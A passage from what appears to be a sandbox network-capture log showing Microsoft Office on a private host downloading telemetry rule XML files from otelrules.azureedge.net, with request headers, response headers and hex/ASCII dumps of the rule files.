2024-11-15 18:39:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:37 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:37 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183937Z-16547b76f7f7zzl8hC1DFWmtag00000000p00000000032t8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:37 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:37 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183937Z-16547b76f7fhvzzthC1DFW557000000001ug000000006ge6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:38 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 50ec610d-601e-0070-10a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183938Z-1866b5c5fbbfncq9hC1DFW7rf800000001gg00000000v3tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:38 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:38 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 971a5585-601e-003e-6311-363248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183938Z-1866b5c5fbbtpjhjhC1DFWr6tw00000001mg000000007vae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:38 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:38 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:38 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183938Z-16547b76f7f7lhvnhC1DFWa2k00000000nbg00000000qqqs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:38 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e36af508-601e-0001-7d3a-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183938Z-1866b5c5fbb2t6txhC1DFWa2qc00000001sg000000000kfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:38 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 2117b026-901e-0029-37af-36274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183938Z-1866b5c5fbbpxkkxhC1DFWhvmc00000002100000000026b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: ccbc10da-001e-0049-41a5-365bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-1866b5c5fbbtpjhjhC1DFWr6tw00000001f000000000t52h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:39 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: c87ec88a-b01e-00ab-2cb9-36dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-16547b76f7fd4rc5hC1DFWkzhw000000022g000000000yby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a62daa21-301e-0096-7fca-36e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-164f84587bfn7ppchC1DFW0meg000000012000000000b0bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:39 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183939Z-16547b76f7fht2hfhC1DFWbngg000000020g00000000q4z5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
